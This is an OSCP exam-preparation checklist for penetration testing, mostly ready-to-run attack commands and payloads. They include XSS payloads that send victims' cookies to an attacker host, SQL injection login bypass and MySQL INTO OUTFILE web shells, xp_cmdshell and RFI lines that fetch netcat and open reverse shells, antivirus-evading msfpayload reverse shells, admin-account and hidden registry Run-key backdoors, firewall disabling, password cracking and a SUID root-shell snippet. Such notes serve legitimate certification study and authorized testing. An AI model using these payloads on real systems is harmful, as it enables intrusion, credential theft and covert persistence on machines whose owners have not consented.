```
################################################################################
###                   Checklist for Penetration Testing                      ###
###                                                                          ###
### Author: Mateus Felipe Tymburibá Ferreira                                 ###
### Contact: mateustymbu [at] gmail [dot] com                                ###
### Last update: 31/01/2012                                                  ###
###                                                                          ###
### This Checklist is a summary of my notes during my preparation for the ###
### Offensive Security Certified Professional (OSCP) certification exam   ###
###                                                                          ###
### This document is free: you can redistribute it and/or modify          ###
### it under the terms of the GNU General Public License as published by  ###
### the Free Software Foundation, either version 3 of the License, or     ###
### (at your option) any later version.                                      ###
###                                                                          ###
### This document is distributed in the hope that it will be useful,      ###
### but WITHOUT ANY WARRANTY; without even the implied warranty of        ###
### MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         ###
### GNU General Public License for more details.                             ###
###                                                                          ###
### You should have received a copy of the GNU General Public License     ###
### along with this program.  If not, see <http://www.gnu.org/licenses/>. ###
###                                                                          ###
################################################################################

- BEFORE BEGINNING:
        - update exploits DB
                - cd /pentest/exploits/exploitdb/
                - svn update
                - msfupdate
        - set up services to download tools in the victims
                - TFTP:         atftpd --daemon --port 69 /var/tmp/tftphome
                - FTP:          /etc/init.d/pure-ftpd start
                - SSH(scp):     /etc/init.d/ssh start
                - HTTP:         /etc/init.d/apache2 start
        - copy useful tools to the services folders (/var/tmp/tftphome, /var/tmp/ftphome, /var/www)
                - sbd.exe
                - nc.exe
                - tftpd32.exe
                - wget.exe
                - whoami.exe
                - trojan_meterpreter.exe
                - (others...)
        - set console history to unlimited (Config->History->Set Unlimited)

- discover alive machines
        - nmap -sn -n -oG IP_alive_nmap.txt <Net-CIDR>
        - cat IP_alive_nmap.txt |grep "Status: Up" |cut -d" " -f2 >IPs_alive_nmap.txt

- discover machines that possibly exist
        - DNS discover
```

```
                - discover the DNS servers available (dns_discovery.sh / "dns_discovery_FILE_perl.pl IPs_Alive_Ping.txt")
                - discover the subnet domain (set /etc/resolv.conf and test with "dnsenum.pl --enum")
                - discover the host names
                        - reverse DNS brute force (reverse_dns_enumeration.sh / "dnsenum.pl --enum")
                        - DNS zone transfer ("dnsenum.pl --enum")
                                - /pentest/enumeration/dnsenum/dnsenum.pl --enum -f <DNS_brute_names_file> --dnsserver <dns_server_ip> <domain_name>

- scans:(OBS: without the "-p" option, nmap checks only the ports defined in /usr/share/nmap/nmap-services -> FASTER!)
        (OBS: if the -sS fails, try with other types. Ex: -sT)
    UNIQ TCP SCAN: nmap -sS -n -oG nmap_scan_tcp_default_ports_grepable.txt -sV -O --osscan-limit --script "vuln" -Pn -iL IPs_alive_nmap.txt
>>nmap_scan_tcp_default_ports.txt
    UDP SCAN: nmap -sU -n -oG nmap_scan_udp_default_ports_grepable.txt -sV --script "vuln" -Pn -iL IPs_alive_nmap.txt
>>nmap_scan_udp_default_ports.txt
    - banner grabbing of choosen ports/machines >>nmap_scan_udp_default_ports.txt
                - banner_grabber_ports_FILE.pl 2>&1 >>tcp_ports_banners.txt
                - sort tcp_ports_banners.txt >formated_tcp_ports_banners.txt
    DISTINCT TCP SCANS (already done in the UNIQ):
        - looking for TCP open ports and versions
                - nmap -sS -n -sV --version-all -oG nmap_scan_tcp_default_ports.txt -Pn -iL IPs_alive_nmap.txt
                - grep "Ports: " nmap_scan_tcp_default_ports.txt >formated_nmap_scan_tcp_default_ports.txt
        - looking for UDP open ports->NOT RELIABLE->icmp
                - nmap -sU -n -sV --version-all -oG nmap_scan_udp_default_ports.txt -Pn -iL IPs_alive_nmap.txt
                - grep "Ports: " nmap_scan_udp_default_ports.txt >formated_nmap_scan_udp_default_ports.txt
        - OS detection
                nmap -O --osscan-limit -Pn -iL IPs_alive_nmap.txt -oN nmap_scan_OS.txt
        - Vulnerabilities detection
                nmap --script "vuln" -Pn -iL IPs_alive_nmap.txt -oN nmap_scan_vulnerabilities.txt

- HTTP and FTP navigation
        - HTTP
                - brute force to discover HTTP hidden folders
                        - java -jar /pentest/web/dirbuster/DirBuster-0.12.jar
                        - Metasploit auxiliary modules:
                                - auxiliary/scanner/http/robots_txt
                                - auxiliary/scanner/http/dir_scanner
                                - auxiliary/scanner/http/dir_listing
                - search for part of the html code at Google (find the name of the tool/cms used to construct the page)
                - navigate with firefox
        - gFTP
                - try access (user:anonymous / pass:) or (user:ftp / pass:ftp)
                - try to put and execute files

- SNMP enumeration (port 161)
        - identify the computers running the SNMP
                ("onesixtyone -i IPs_alive-ping_registered-dns.txt -c dict_communitys.txt |cut -d" " -f1,2")
        - get SNMP data
                (snmp_check_FILE.pl / "snmpcheck.pl -t <IP-address>" / snmp_enumeration_FILE.pl / "snmpenum.pl <IP-address> <community>
<configfile>")
                - try with all the config files (windows.txt, linux.txt and cisco.txt)
                - enumerates users, running services, open TCP ports, installed softwares, disks...
                - if snmpenum.pl does not work, its possible to try these (will show everything):
```

```
                        - snmpwalk -c public -v1 192.168.13.222 1

- SMTP enumeration (port 25)
        - identify the computers running the SMTP (scan_ports_netcat_perl.pl)
        - try to identify user names (if code "502", use "helo" scripts!)
                - check if the servers accept the VRFY command (smtp_vrfy_check_FILE.pl)
                        - if it accepts -> "250" code
                        - if it does NOT accept -> "252" error code
                        - if they accept VRFY, try to brute force the user names
                          ("smtp_brute_force_FILE.pl <server> <usernames_file>")
                - check if the servers accept the EXPN command (smtp_espn_check_FILE.pl)
                        - if it does NOT accept -> "500" error code
                        - if they accept EXPN, try to brute force the list name...

- Netbios/SMB enumeration (ports 445 and 139)
        - identify the computers running the Netbios
          ("msfcli auxiliary/scanner/smb/smb_version RHOSTS=192.168.12.1-192.168.13.254 THREADS=100 E" / scan_ports_netcat_perl.pl)
        - enumerate users and other usefull data from the Netbios machines
          (msfcli auxiliary/scanner/smb/smb_enumusers RHOSTS=192.168.12.1-192.168.13.254 THREADS=100 E / netbios-SMB_enumeration_user_FILE.pl /
netbios-SMB_enumeration_FILE.pl)

- Look for vulnerabilities and exploits
        - on Backtrack (PS: the order is important)
                - /pentest/exploits/exploitdb/searchsploit <term1> [term2] [term3]
                - grep -i <service_name> /pentest/exploits/exploitdb/files.csv
        - on the Internet (all sites are registered in the firefox favorites):
                - Google: [xp sp2] exploit site:securityfocus.com inurl:bid
                - www.exploit-db.com/search/
                - www.metasploit.com/framework/search
                - www.qualys.com/research/exploits/
                - www.qualys.com/research/top10/
        - on the nmap results (if --script "vuln" was used)
                - search for the words "VULNERABLE" and "vulns" on the nmap output files (TCP and UDP)

- Client side attacks
        - XSS
                - test forms: <script>alert("XSS vulnerable")</script>
                - redirect to malicious page: <iframe SRC="http://192.168.10.150/report" height="10" width="10">
                - Session/Cookie stealing (XSS must be exploitable!):
                        - example-1: <body onload='document.location.replace("http://attacker/post.asp?name=victim1&message=" + document.cookie +
"<br>" + "URL:" + document.location);'></body>
                        - example-2: <script>new Image().src="http://192.168.10.150/bogus.php?"+ document.cookie;</script>
                        - (at the attacker: 192.168.10.150) nc -lvp 80
                        - (at "Tamper Data" Firefox plugin in the login page) change the session ID
                - send email to XSS vulnerable webmails:
                        - sendEmail -t <destination_address> -f <sender_address> -s <server>[:smtp_port] -u <subject> -o message-file=<message_file>
                - receive emails:
                        - /usr/local/bin/smtpd.py -n -c DebuggingServer <local_serve_ip>:<port>
        - browser exploits
                - fingerprint the client browser and O.S.
                        - make the victim access a web page on the attacker (XSS, Social Engineering,...)
```

```
                        - nc -lvp 80
                        - log "User-Agent" and "Accept" informations
                        - search at Google or user-agents.my-addr.com
                - set a automatically process migration:
                        - set "InitialAutoRunScript" or "AutoRunScript" to "post/windows/manage/migrate" or "migrate -f" or "migrate explorer"
                                - ex: set AutoRunScript "post/windows/manage/migrate"
                        - set AUTO_MIGRATE=ON at "/pentest/exploits/set/config/set_config" file
                - use aurora / ms10_xxx_ie_css_clip / browser_autopwn (not always reliable => excessive traffic)
        - client's applications
                - send to the victim a corrupted file to explore some application vulnerability (Social Engineering)

- Web application attacks
        - SQL injection
                - identifying SQL injection vulnerabilities
                        - send the single quote character (') in form fields and look for error messages
                - enumerating table names and fields (checking MSSQL error messages)
                        - start putting this in the vulnerable form field:
                                - (MSSQL): ' having 1=1--
                        - get the name of the table and use it in the next try
                                - (MSSQL): ' group by <table_name>.<table_field1> having 1=1--
                                        (Ex: ' group by tbl.id having 1=1--
                        - get the new field name and APPEND it in the next GROUP BY try as before, until there is no error message anymore
                - enumerating fields' types (checking MSSQL error messages)
                        - start putting this in the vulnerable form field (if there is no error message, try another function):
                                - (MSSQL): ' union select sum(<table_field>) from <table_name> --
                                        (Ex: ' union select sum(id) from tbl --)
                - enumerating DBs tool:
                        - /pentest/database/sqlmap/sqlmap.py
                                Options:
                                        -u <full_url>
                                        -b                  Retrieve DBMS banner
                                        --dbs               Enumerate DBMS databases
                                        --tables            Enumerate DBMS database tables
                                        --columns           Enumerate DBMS database table columns
                                        --dump              Dump DBMS database table entries
                                        --dump-all          Dump all DBMS databases tables entries
                                        --users             Enumerate DBMS users
                                        --passwords         Enumerate DBMS users password hashes
                                        -D <DB_name>        DBMS database to enumerate
                                        -T <table_name>     DBMS database table to enumerate
                                        -C <column_name>    DBMS database table column to enumerate
                                        -U <user_name>      DBMS user to enumerate
                                - Examples:
                                        - ./sqlmap.py -u http://192.168.11.246/vid.php?id=444 --dbs
                                        - ./sqlmap.py -u http://192.168.11.246/vid.php?id=444 --tables -D webapp
                                        - ./sqlmap.py -u http://192.168.11.246/vid.php?id=444 -D webapp -T users --dump
                - adding a user to the DB (if the application has write permissions)
                        - use the enumerated data to structure a INSERT query
                        (PS: a "Access Denied" page doesn't indicate that the query was not executed)
                                - (MySQL example): '; INSERT INTO tbl values('5345','user','pass','44');#
                                - (MSSQL example): '; INSERT INTO tbl values('5345','user','pass','44') --
```

```
                - login with the user/password added
        - code execution (insert file)
            - MySQL
                - discover SELECT fields shown at the web page:
                        - http://192.168.11.1/list.php?id=-1 UNION SELECT 1,2,3,4
                - read local file
                        - use "load_file" MySQL function
                          (Ex {suppose that field 4 was shown at the web page}: http://192.168.11.1/list.php?id=-1 UNION SELECT
1,2,3,load_file('/etc/passwd') )
                - write file
                        - use "select <string> INTO OUTFILE <file_destination>"
                          (Ex: http://192.168.11.1/list.php?id=-1 UNION SELECT "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE 'C:/xampp/
htdocs/backdoor.php' )
                        - (with DB access): select "<?php system($_GET['cmd']); ?>" INTO OUTFILE 'C:/xampp/htdocs/backdoor.php'
                        - access the inserted file (Ex: http://192.168.11.1/backdoor.php?cmd=ipconfig)
        - bypass authentication
                - (in web forms' user name field):
                        - (MySQL):    wronguser' or 1=1;#
                        - (MSSQL):    wronguser' or 1=1--
        - useful functions:
                - MySQL:
                        - version() - prints MySQL version
                        - user() - prints running user
                        - load_file() - prints server file content
                - MSSQL:
                        - stacking queries - executes various queries in a single command (separate with ;)
                          (Ex: ' or 1=1; INSERT INTO tbl VALUES('4','tymbu','pass')-- )
                        - sp_makewebtask - creates a html file with the result of a query
                          (Ex: ';exec sp_makewebtask "c:\Inetpub\wwwroot\evil.html", "select * from tbl";--)
                        - xp_cmdshell (only members of sysadmin group and disabled by default in newer MSSQL versions)
                              - executes shell commands
                          (Ex: ' or 1=1;exec master..xp_cmdshell '"tftp -i 192.168.10.150 GET nc.exe && nc.exe
                               192.168.10.150 443 -e cmd.exe';--)
- RFI
        - create evil.php:
          <?php echo '<?php echo shell_exec(base64_decode($_GET["cmd"]));?>' ?>
                - call: http://web/evil.php?cmd=base64_encoded_command
          <?php echo '<?php copy($HTTP_POST_FILES['file']['tmp_name'],$HTTP_POST_FILES['file']['name']); ?>' ?>
                - call: <form action="http://web/evil.php" method="post" enctype="multipart/form-data">
                           <input type="file" name="file"><br>
                           <input type="submit" name="submit" value="submit">
                        </form>
          <?php echo '<?php echo shell_exec("nc -n 192.168.10.150 443 -e /bin/bash");?>' ?>
                - start listener: nc -lvp 443
                - call: http://web/evil.php
          <?php echo '<?php echo "<PRE>"; echo shell_exec("ipconfig"); echo "</PRE>"; ?>' ?>
        - test: if the vulnerability is in a variable, change its value to: http%3A%2F%2F192.168.10.150%2Fevil.php
- LFI
        - use a “null string” (%00) to terminate any extensions added to the injected parameter
          (Ex: http://192.168.11.1/list.php?LANG=../../../boot.ini%00&id=1)
        - Insert a script in a file that the interpreter can read and call it (ex: some LOG file)
```

```
                        - MySQL tables file: http://web/mod.php?name=bla&cmd=base64_encoded_command&file=..\..\..\..\..\..\..
\apachefriends\xampp\mysql\data\nuke\nuke_authors.MYD%00
        - Environment variables
                - overwrite environment variables with an attacker input
                        - ex: GET /login.php?PATH=/var
        - Windows SMB credentials relay
                - use Metasploit "exploit/windows/smb/smb_relay" module

- Fix and use exploits
        - At what bytes is EIP overwritten?
                - /pentest/exploits/framework3/tools/pattern_create.rb <buffer_size>
                - /pentest/exploits/framework3/tools/pattern_offset.rb <address>
        - Can you find a RET address (ex: ESP, EAX)? What is it?
                - create a buffer of 'A's (\x41) and check which registers have this value when the application crashes
                - find a instruction to jump to the desired address(ex:JMP <choosed_register>) in the application or in a fix address DLL
(ex:user32.DLL)
                        - if the OS version is different, try to find the address in metasploit
        - Where will you place your shellcode?
                - look for a position after the position pointed by the chosen register
                - if the shellcode is encoded to avoid 0x00, put at least 32 NOPs between the position pointed by the register and the shellcode
                - change the buffer structure (calculations, shellcode, NOPs)
        - How much space do you have for your shellcode?
                - count how many consecutive bytes are written with 'A' after the chosen register pointed position
        - How can you get to your shellcode?
                - /pentest/exploits/framework2/msfweb OR msfpayload | msfencode (see "Metasploit->create payload" section below)
        - What kind of shellcode will you use (ex: bind, reverse, meterpreter)?
                - change hardcoded info (victim or attacker IP, ports, login/pass, application commands, etc)
        - Are there any restricted bytes in the buffer (ex: 0x00)?
        - What exit technique will the shellcode use (ex: thread, seh, process)?
        - What is the environment used to compile?
                - Linux (common imports: <stdlib.h><sys/socket.h><netinet/in.h><arpa/inet.h><unistd.h>)
                        - gcc <source_code_file> -o <executable_file>
                                - install "gcc-multilib" and use the gcc's "-m32" option to compile 32bits applications on 64bits environments
                        - ./<executable_file>
                        - PS: if the exploit was written on Windows ("^M" at the end of the lines)
                                - dos2unix <filename>
                - Windows (common imports: <winsock2.h><windows.h><winbase.h><process.h><string.h>)
                        - cd /root/.wine/drive_c/MinGW/bin/
                        - wine gcc.exe <source_code_file> -o <executable_file> <-lwsock32 or -lws2_32>
                        - wine <executable_file>

- Create backdoor
        - Windows remote shell (admin privileges)
                - check OS and SP versions (and other info)
                        - systeminfo
                - create admin user
                        - net user tymbu tymbu123 /add
                        - net localgroup administrators tymbu /add
                - enable remote desktop (reboot or logoff is not required after this!)
                        - net localgroup "Remote Desktop Users" UserLoginName  /add
                        - reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

```
                - net start TermService
        - disable firewall
                - netsh firewall set opmode disable
        - download tool
                - (Windows 1st choice-small files/UDP) tftp -i <attacker_ip> GET <tool_file_name>
                        (PS-if access denied while deleting): attrib -r -h -s <filename>
                - (Windows 2nd choice-big files/TCP)
                        - echo open <attacker_ip> 21 > ftp.txt
                        - echo username>> ftp.txt
                        - echo password>> ftp.txt
                        - echo bin >> ftp.txt
                        - echo GET tool_file_name >> ftp.txt
                        - echo bye >> ftp.txt
                        - ftp -s:ftp.txt
                - Internet Explorer
                        - cd C:\Program Files\Internet Explorer\
                        - start iexplore.exe <jpg_file_complete_http_url>
                        - cd C:\Documents and Settings\<USER>\Local Settings\Temporary Internet Files\
                        - dir /S
                        - XCOPY <source_complete_file_path> <destination_folder_path> /h /y /c
                        - REN <old_filename> <new_filename>
                - Copy and paste code text to the victims shell
                        - exe2bat.exe + DEBUG.exe (Except Win Seven. Max. 64KB compiled code.)
                                - upx -9 <input_file.exe>
                                - wine exe2bat.exe <input_file.exe> <output_file.txt>
                                - copy <output_file.txt> content to the Windows command line
                        - WinHTTP VB script (interpretated code)
                                - copy /var/www/http_down_vbs.txt content to the Windows command line
                                - cscript http_down.vbs <file_complete_http_url> <local_file_name>

- Metasploit
        - create payload (ex: msfpayload windows/shell/reverse_tcp LHOST=<ip_attacker> LPORT=443 R | msfencode -e x86/shikata_ga_nai -t exe >
payload.exe
        - msfpayload <payload> [variable=value] <(S)ummary|as(C)ii string|(P)erl|Rub(y)|(R)aw|(J)avascript|e(X)ecutable|(D)ll|(V)BA|(W)ar>
        - msfencode -e x86/shikata_ga_nai -t <output_format> > <toolname.extension>
                -a <opt>  The architecture to encode as
                -b <opt>  The list of characters to avoid: '\x00\xff'
                -c <opt>  The number of times to encode the data (use to bypass anti-virus)
                -e <opt>  The encoder to use (x86/shikata_ga_nai -> excellent)
                -l        List available encoders
                -i <opt>  The binary input file
                -o <opt>  The output file
                -p <opt>  The platform to encode for
                -s <opt>  The maximum size of the encoded data
                -t <opt>  The output format:
                        raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
        - msfweb
    - start attack
     (ex: msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/shell/reverse_tcp RHOST=192.168.7.11 EXITFUNC=thread LHOST=192.168.7.15
LPORT=443 E)
        - msfcli <exploit_name> <option=value> <(P)ayloads|(O)ptions|(A)dvanced|(T)argets|(AC)tions|(E)xecute>
```

```
                        (H)elp          You're looking at it baby!
                        (S)ummary       Show information about this module
                        (O)ptions       Show available options for this module
                        (A)dvanced      Show available advanced options for this module
                        (I)DS Evasion   Show available ids evasion options for this module
                        (P)ayloads      Show available payloads for this module
                        (T)argets       Show available targets for this exploit module
                        (AC)tions       Show available actions for this auxiliary module
                        (C)heck         Run the check routine of the selected module
                        (E)xecute       Execute the selected module
                - msfconsole (commands/options - OBS: TAB completion is available):
                        - help|back|use <exploit-module>|set[g]/unset[g] <variable> <value>|info <exploit-module>
                        - search <module_name>|sessions [-l] [-i <number]|show [exploits or payloads or targets]
                        - save|check|exploit
        - meterpreter commands
                - core: migrate <PID>|run <script> (ex: scraper, keylogger,etc)|use <module>|shell|help|exit
                - file system: cat|edit|ls|pwd/lpwd|cd/lcd <directory>|mkdir/rmdir <directory>
                               download <source_file1> [<source_file2...>] <destination_folder>
                               upload <source_file1> [<source_file2...>] <destination_folder>
                - networking: ipconfig|route|portfw
                - system: execute <command>|getpid|getuid|ps|kill <PID>
                - very useful: hashdump|launch_and_migrate (use in the "AutoRunScript")
                                getsystem
                                keyscan_start|keyscan_dump|keyscan_stop
                                set AutoRunScript <script> [<script_options][,<script> [<script_options] ...]

-Brute Force (ex: hydra -L logins.txt -P passwords.txt -f -e ns -t 2 192.168.13.241 ftp)
        - hydra -L <logins_file> -P <passwords_file> [-f] [-e ns] [-t <number_threads>] <server> <service-code> [OPT <service-options> -> see
README]
                service codes: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable
vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp
        - RDP (ex: medusa -e ns -f -T 4 -t 4 -L -M wrapper -m TYPE:STDIN -m PROG:/usr/local/share/rdesktop-patched/rdesktop -m ARGS:"-g 640x480 -a
8 -u %U -p %P %H" -H IPs_RDP.txt -U users.txt -P passwords.txt)
                - medusa [-e ns] [-f] [-T <number>] [-t <number>] [-L] -M wrapper -m TYPE:STDIN -m PROG:/usr/local/share/rdesktop-patched/rdesktop -
m ARGS:"-g 640x480 -a 8 -u %U -p %P %H" -H <hosts_file> -U <users_file> -P <passwords_file>
                        -h [TEXT]    : Target hostname or IP address
                        -H [FILE]    : File containing target hostnames or IP addresses
                        -u [TEXT]    : Username to test
                        -U [FILE]    : File containing usernames to test
                        -p [TEXT]    : Password to test
                        -P [FILE]    : File containing passwords to test
                        -C [FILE]    : File containing combo entries. See README for more information.
                        -O [FILE]    : File to append log information to
                        -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
                        -M [TEXT]    : Name of the module to execute (without the .mod extension)
                        -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                                       different parameter each time and they will all be sent to the module (i.e.
                                       -m Param1 -m Param2, etc.)
                        -d           : Dump all known modules
                        -n [NUM]     : Use for non-default TCP port number
```

```
                -s           : Enable SSL
                -t [NUM]     : Total number of logins to be tested concurrently
                -T [NUM]     : Total number of hosts to be tested concurrently
                -L           : Parallelize logins using one username per thread. The default is to process
                               the entire username before proceeding.
                -f           : Stop scanning host after first valid username/password found.
                -F           : Stop audit after first valid username/password found on any host.
        - /usr/local/share/rdesktop-patched/rdesktop -g 640x480 -a 8 -u <login> -p <passwords_file> <server>
- Microsoft VPN (PPTP)
        - cat <words_file> |thc-pptp-bruter <victim_IP>
- Password profiling
        - cd /pentest/passwords/cewl
        - ruby cewl.rb [-v] [-d <number>] <url> (ex: ruby cewl.rb -v -d 1 http://www.offsec.com/about.php)
- Windows SAM file
        - At Windows
                - %SYSTEMROOT%\repair\SAM (backup copy)
                - pwdump (extracts LM Hashes from the local Windows machine)
                        - copy files PwDump.exe, LsaExt.dll and pwservice.exe
                        - pwdump \\127.0.0.1
        - Mounted device with Linux live-CD:
                - chntpw <SAM_file> (resets the passwords)
                - ophcrack (indicate the SAM file location to try to crack passwords)
                - samdump2 <SAM_file> >hashes.txt (extracts LM Hashes)
- Linux passwords
        - edit grub/Lilo
                - add "single init=/bin/bash" at the end of the line
                - passwd root
        - mount device with Linux live-CD:
                - delete everything between the first and second colons from /etc/shadow
                  (Ex: root::12581:0:99999:7:::)
- CUDA-Multiforcer (uses the Graphics Processing Unit to speed up)
        - CUDA-Multiforcer -f <hashes_file> -h <hash_format> [--min <number_of_char>] [--max <number_of_char>] [-c charset]
          (Ex: ./CUDA-Multiforcer -f hashes -h NTLM --min 5 --max 8 -c charsets/charsetlowernumeric)
- John the Ripper
        - cd /pentest/passwords/jtr
        - ./john <Hashes_file>
        - Usage: john [OPTIONS] [PASSWORD-FILES]
                --config=FILE              use FILE instead of john.conf or john.ini
                --wordlist=FILE --stdin    wordlist mode, read words from FILE or stdin
                --format=NAME              force hash type NAME:
                   DES/BSDI/MD5/BF/AFS/LM/NT/XSHA/PO/raw-MD5/MD5-gen/
                   IPB2/raw-sha1/md5a/hmac-md5/phpass-md5/KRB5/bfegg/
                   nsldap/ssha/openssha/oracle/oracle11/MYSQL/
                   mysql-sha1/mscash/lotus5/DOMINOSEC/
                   NETLM/NETNTLM/NETLMv2/NETNTLMv2/NETHALFLM/
                   mssql/mssql05/epi/phps/mysql-fast/pix-md5/sapG/
                   sapB/md5ns/HDAA/DMD5/crypt
                (Advanced modes: incremental,Markov,external)
- RainbowCrack
        - cat <hashes_file> |grep <user_name> > <hash_line_file>
        - mv <hash_line_file> /mnt/tables/
```

```
                - rcrack *.rt -f <hash_line_file>

- Port Redirection and Tunneling
        - ssh (port redirections and tunneling)
                - Windows:plink.exe -l <login> -pw <password> [-C] -R <autenticate_machine_port>:<tunnel_destination_ip>:<tunnel_destination_port>
<autenticate_machine_ip>
                - Linux: ssh <(-R)emote or (-L)ocal> [-C] <listen_port>:<tunnel_destination_ip>:<tunnel_destination_port>
<login>@<autenticate_machine_ip>
                        -R: opens the listening port at the remote machine (authenticating machine)
                        -L: open the listening port at the local machine (127.0.0.1)
                        -C: compress with gzip
        - rinetd (only port redirection):
                - configure /etc/rinetd.conf
                - /etc/init.d/rinetd start
        - stunnel4 (only tunneling):
                - configure /etc/stunnel/stunnel.conf
                - download or create certificate (www.stunnel.org has a .pem example file)
                - stunnel4
        - proxytunnel (port redirection via proxy):
                - proxytunnel -a <local_port_number> -p <proxy_ip>:<proxy_port> -d <destination_ip>:<destination_port>
        - proxychains (only proxy chain):
                - configure /etc/proxychains.conf
                - proxychains <command>

- Firewall evasion
        - Try to ARP Spoof the gateway and look for the traffic sent to external networks (Is there any traffic?)
        - Try to walk through the Firewall spoofing the IP of the gateway, the proxy or any white-listed machine
                - nmap [-f --mtu 8] -S <Spoofed-IP> -g <source-port> -e tap0 -Pn [-sS or -sA or -sF or -sN or -sX] -n [-p 1-65535] [-sV --version-
all] [-O --osscan-limit] [--script "vuln"] [-oG or -oN <outputfile>] <IP>
        - Try to enumerate the firewall rules
                - firewalk -n [-S<destiny_ports_range>] [-s <source_port>] -pTCP <firewall_ip> <victim>

- Windows oddities
        - NTFS Alternate Data Streams (ADS)
                - type nc.exe > file.txt:nc.exe
                - start ./file.txt:nc.exe
        - Registry backdoor (2K and XP -> allow code execution after login and HIDE the value at registry)
                - Run Regedt32.exe and create a new string value in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
                - Fill this key name with a string of 258 characters (Ex: AAA...)
                - Create an additional string value (name it whatever you want. Ex: svchost.exe) and assign it the string name of the file to be
executed (Ex: “reverse_meterpreter.exe”)

- Privilege escalation:
        - Check the files with SUID:
                - find / -type f \( -perm -004000 -o -perm -002000 \) -exec ls -lg {} \; 2>/dev/null |cut -d " " -f7
                - compare with a list of common SUID commands and prioritize the analysis of the less common
                        - grep --invert-match -f <commom_suid_commands_list_file> <victim_suid_commands_list_file>
                - check if the SUID commands call other commands (use editors or hexeditors)
                        - submit a privilege escalation binary with the same name as the command called by the SUID tool
                                - compile the following C code (gcc -m32 -o command command.c):
                                        - int main(){ setuid(0); seteuid(0); setgid(0); setegid(0); system("/bin/sh"); return 0;}
```

```
                - change the PATH to insert the path to malicious binary before the path to the original command
                        - PATH=<path_malicious_binary>:$PATH (ex: PATH=/tmp:$PATH)
        - check if the SUID tool accepts command line arguments
                - check if these arguments can be a shell command or a config file
        - check if the SUID command uses a default config file
                - try to change the config file
                - if the config file is not defined by a complete path, create a new config file and change the PATH variable
- Check the ports opened only for local connections (127.0.0.1/localhost):
        - netstat -tupan
        - create a tunnel with SSH and try to exploit the service opened only to local connections
- Check the applications running with root privilege:
        - ps -elf |grep root
- Check the kernel version and compilation data:
        - uname -a
- Look for kernel or root applications exploits (prefer exploits newer then the kernel's compilation data):
        - /pentest/exploits/exploitdb/searchsploit "kernel" |grep -i "root"
        - cat /pentest/exploits/exploitdb/files.csv |grep -i privile
        - grep -i 2.6 /pentest/exploits/exploitdb/files.csv |grep -i local
        - grep -i application /pentest/exploits/exploitdb/files.csv |grep -i local
- Fix, compile, submit and run the exploit:
        - if errors occur while compiling, try to compile on the victim
```